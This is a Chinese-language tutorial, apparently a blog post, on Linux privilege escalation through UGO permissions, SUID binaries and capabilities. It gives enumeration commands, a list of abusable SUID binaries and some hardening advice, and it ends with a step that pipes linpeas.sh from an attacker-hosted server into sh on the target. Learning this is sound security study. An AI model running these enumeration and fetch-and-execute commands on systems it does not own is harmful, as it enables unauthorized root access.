UGO

首先简单了解下UGO

U(User):文件主人(比如你创建的文件,你就是U)

G(Group):文件所属的“小团队”(比如财务部的文件,G就是财务组)

O(Others):既不是主人也不在团队里的其他人

  • 举个栗子🌰:你写了个工资表文件,U是你自己(能改),G是财务部(只能看),O是其他部门(完全没权限)

1、概述

  • 文件权限设置:设置赋予某个用户或组能够以何种方式访问某个文件

  • 权限对象:属主u、属组g、其他人o、所有人a(u+g+o)

  • 权限类型:读(r=4)、写(w=2)、执行(x=1)

    所谓的ugo提权其实是修改其权限

    例如用chmod命令(比如chmod o+w 工资表.txt就是让其他人也能修改这个文件)

    那么当管理员有时候配置不当 将/etc/passwd 文件 权限改成o+r,那么我们作为普通用户的话就能够看到密码的哈希值,给普通用户的脚本加上u+s(SUID),运行时就变root权限

    这种通过改UGO权限扩大访问范围的操作,才是“利用UGO机制提权”的本质

Linux suid提权

什么是suid

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

在Linux操作系统中,为了有效管理和维护用户及用户组的安全性和权限控制,系统引入了三个关键配置文件来存储相关信息:

  • /etc/passwd:此文件存储了系统中所有用户的基本信息,包括但不限于用户名、用户ID(UID)、默认组ID(GID)、用户描述、家目录路径以及登录Shell等。
  • /etc/shadow:为了增强安全性,实际的用户密码哈希值被存储在这个文件中,而不是在 /etc/passwd 中公开可见。只有具有适当权限的进程才能读取此文件。
  • /etc/group:该文件记录了系统中各个用户组的信息,包括组名、组密码(很少使用)、组ID(GID)以及属于该组的成员列表。

每个文件系统中的文件都包含了与用户和组相关的元数据,这些信息定义了文件的所有权和访问权限。具体来说,每个文件的文件头(inode)中都会记录文件的所有者(用户)和所属组,以及相应的读、写、执行权限。

关于 /etc/passwd 文件的格式,每一行代表一个用户,由七个字段组成,各字段之间用冒号(:)分隔:

  1. 用户名(User Name):这是用户登录系统时使用的名称。
  2. 密码占位符(Password Placeholder):早期版本的 Linux 系统中,这里会直接存储加密后的密码,但现在通常只是一个占位符(如 x*),实际密码被安全地存储在 /etc/shadow 中。
  3. 用户ID(UID):每个用户在系统中都有一个唯一的数字标识符。
  4. 主组ID(GID):用户所属的主要用户组的ID。
  5. 用户描述(User Description):也称为 GECOS 字段,通常包含用户的全名、办公室号码、电话等信息。
  6. 家目录(Home Directory):用户登录后的工作目录路径。
  7. 登录Shell(Login Shell):用户登录时启动的命令解释器。例如,/bin/bash 表示使用 Bash shell,而 /sbin/nologin 则表示该账户不允许登录。

通过这样的设计,Linux 系统能够实现细粒度的权限控制,确保系统的稳定性和安全性,同时也为管理员提供了强大的工具来管理用户和资源。

example:

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

在Linux系统中,SUID(Set User ID)是一种特殊的文件权限位,允许普通用户在执行特定程序时临时获得该程序文件所有者的权限。这一机制在某些情况下非常有用,比如允许非特权用户执行需要更高权限的操作。然而,不当使用SUID权限可能会带来严重的安全风险,因此在系统管理和安全加固过程中需要特别谨慎。

SUID权限详解

定义与作用

SUID权限允许一个可执行文件在其运行期间,使执行该文件的进程拥有文件所有者的权限,而不是执行者的权限。这意味着,如果一个文件的所有者是 root 并且设置了SUID位,那么任何用户在执行该文件时,都将获得 root 用户的权限。

实现方式

在Linux中,可以通过以下命令设置SUID位:

chmod u+s /path/to/file

这会在文件权限的用户执行位上添加一个 s,表示设置了SUID位。例如,一个文件的权限可能显示为 -rwsr-xr-x,其中 s 表示SUID位已设置。

安全风险

虽然SUID位在某些场景下非常有用,但它也带来了潜在的安全风险。如果一个文件设置了SUID位并且存在漏洞,攻击者可能会利用这些漏洞提升自己的权限。例如,如果一个普通用户的UID被修改为0(即 root 用户的UID),那么该用户登录系统时将自动获得 root 权限,这显然是非常危险的。

如何利用

在系统加固过程中,应采取以下措施来减少SUID带来的安全风险:

  1. 定期审计

    • 使用 find 命令查找所有设置了SUID位的文件:
      find / -perm -4000 -type f
    • 检查这些文件是否必要设置SUID位,如果不是,则移除SUID位:
      chmod u-s /path/to/file
  2. 最小权限原则

    • 确保只有必要的文件才设置SUID位,避免不必要的权限提升。
    • 对于必须设置SUID位的文件,确保其代码经过严格的安全审查,没有已知漏洞。
  3. 用户管理

    • 确保没有普通用户的UID被设置为0。可以通过以下命令检查:
      awk -F: '($3 == 0) {print $1}' /etc/passwd
    • 如果发现有非 root 用户的UID为0,立即修改其UID。
  4. 日志监控

    • 启用并配置系统日志,监控SUID文件的执行情况,及时发现异常行为。

通过上述措施,可以有效地管理和控制SUID权限,减少潜在的安全风险,确保系统的稳定性和安全性。

具有suid权限的二进制可执行文件有:

nmap vim find bash more less nano cp awk

相关命令

find / -perm -u=s -type f 2>/dev/null
  • **1. `find**`
    
    `find` 是一个强大的命令行工具,用于在文件系统中搜索文件和目录。它可以根据各种条件(如文件名、大小、权限等)来查找文件。
    
    2. `/`
    
    `/` 表示从文件系统的根目录开始搜索。也就是说,`find` 会从系统的最顶层开始,递归地搜索所有子目录。
    
    3. `-perm -u=s`
    
    `-perm` 选项用于指定要查找的文件权限。这里的 `-u=s` 表示查找具有SUID权限的文件。
    
    - `-u` 表示用户(user)权限。
    - `=s` 表示SUID位已设置。
    
    4. `-type f`
    
    `-type` 选项用于指定要查找的文件类型。这里的 `f` 表示查找常规文件,而不是目录或其他特殊类型的文件。
    
    - `f` 表示普通文件。
    - 其他常见类型包括 `d`(目录)、`l`(符号链接)、`c`(字符设备)等。
    
    5. `2>/dev/null`
    
    这部分用于处理命令执行过程中产生的错误信息。
    
    - `2` 表示标准错误输出(stderr),它是进程的第二个文件描述符。
    - `>` 表示重定向操作符,用于将某个输出重定向到另一个地方。
    - `/dev/null` 是一个特殊的文件,任何写入它的内容都会被丢弃。这里的作用是忽略 `find` 命令执行过程中产生的错误信息,使其不会显示在终端上。
    

写的很详细https://www.cnblogs.com/kqdssheng/p/18286462#id1

Linux提权之:利用capabilities提权

我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。

SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即capabilities。

Capabilities机制

Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

什么是 Capabilities?

用大白话解释 Linux 的 Capabilities 提权


1. 什么是 Capabilities?

在 Linux 里,root 用户拥有所有权限,但有时候普通用户也需要完成某些高权限操作(比如修改密码或管理网络端口)。传统方法是给程序设置 SUID 权限(类似“万能钥匙”),但 SUID 会让程序拥有 root 的全部权限,风险极大

于是 Linux 引入了 Capabilities —— 把 root 的权限拆分成几十种“小权限”,比如

**cap_setuid**:允许修改用户身份(比如把自己变成 root)

**cap_net_bind_service**:允许绑定 1024 以下的端口(比如 80 端口)

**cap_dac_override**:无视文件权限限制,想读就读、想删就删

Capabilities 提权的核心是滥用管理员分配的小权限,组合成完整的 root 权限。就像小偷拿到“财务室门禁卡”后,再偷到老板的保险柜密码,最终搬空公司。防御的关键在于严格控制权限分配,定期清理“多余的钥匙

手动枚举

whoami

whoami算是很基础的但是这里还是列举一下其他相似的命令,便于获得更多的信息

id who w

last 显示系统近期登录的账户

uname -a 查看内核信息

lsb_release -a 更加详细的内核信息

cat /proc/version 也能够更加详细的得到内核信息

hostnamectl 也存在一些详细的信息

查看网络信息

ip addr 查看当前机器的网卡

ip route 查看路由

ip neigh 查看邻居

arp -a 查看物理地址

sudo -l 查看哪些文件是可以以root的身份去执行的

getcap -r / 2>/dev/null 查看/目录下哪些具有Capabilities的权限的能力

ls -a 将当前文件夹所有文件显示出来

ls -la 将文件所拥有的权限内容列举出来(包括-a隐藏文件)

history 列出历史记录

cat /etc/passwd 获取存取用户信息的文件

cat /etc/crontab 查看自动任务

查看环境变量 env echo $path

ps -ef 查看进程

netstat -a 将所有网络信息列举出来

自动化枚举工具

linpeas

wget 进行下载 chomd 赋予权限 然后直接使用

那么如果目标靶机不出网 我们

将linpeas.sh攻击机启动一个http 服务

sudo python3 -m http.server 80

然后靶机访问攻击机ip地址并且执行

curl xxxxxxx/lenpeas.sh |sh